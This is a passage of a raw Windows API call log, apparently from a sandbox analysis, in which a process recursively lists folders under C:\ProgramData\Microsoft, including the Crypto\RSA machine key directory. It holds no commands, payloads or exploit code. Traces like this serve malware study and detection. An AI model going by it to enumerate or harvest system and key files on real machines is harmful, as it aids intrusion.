ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.515] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.515] GetProcessHeap () returned 0x550000 [0262.515] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.529] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.529] GetProcessHeap () returned 0x550000 [0262.529] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.529] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.529] GetProcessHeap () returned 0x550000 [0262.529] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.529] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.529] GetProcessHeap () returned 0x550000 [0262.530] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.532] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.532] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.544] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.546] GetProcessHeap () returned 0x550000 [0262.546] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.549] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.549] GetProcessHeap () returned 0x550000 [0262.549] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.549] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.550] GetProcessHeap () returned 0x550000 [0262.550] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0262.553] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0262.553] GetProcessHeap () returned 0x550000 [0262.553] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0262.553] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.554] GetProcessHeap () returned 0x550000 [0262.554] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0262.556] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0262.556] GetProcessHeap () returned 0x550000 [0262.556] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0262.556] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.557] GetProcessHeap () returned 0x550000 [0262.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.557] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.557] GetProcessHeap () returned 0x550000 [0262.557] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.557] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.557] GetProcessHeap () returned 0x550000 [0262.558] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.561] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.561] GetProcessHeap () returned 0x550000 [0262.561] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.561] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.562] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.562] GetProcessHeap () returned 0x550000 [0262.562] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.562] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.562] GetProcessHeap () returned 0x550000 [0262.562] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.563] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.563] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.563] GetProcessHeap () returned 0x550000 [0262.563] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.563] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.564] GetProcessHeap () returned 0x550000 [0262.564] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.566] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.567] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.567] GetProcessHeap () returned 0x550000 [0262.567] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.567] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.567] GetProcessHeap () returned 0x550000 [0262.567] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.567] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.568] GetProcessHeap () returned 0x550000 [0262.568] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.570] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.570] GetProcessHeap () returned 0x550000 [0262.570] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.570] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.570] GetProcessHeap () returned 0x550000 [0262.570] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.571] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.571] GetProcessHeap () returned 0x550000 [0262.571] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.573] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.573] GetProcessHeap () returned 0x550000 [0262.573] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.573] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.573] GetProcessHeap () returned 0x550000 [0262.573] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.574] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.575] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.575] GetProcessHeap () returned 0x550000 [0262.575] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.575] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.575] GetProcessHeap () returned 0x550000 [0262.575] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.576] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.576] GetProcessHeap () returned 0x550000 [0262.576] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.577] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.577] GetProcessHeap () returned 0x550000 [0262.577] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.577] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.577] GetProcessHeap () returned 0x550000 [0262.577] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0263.006] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0263.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, 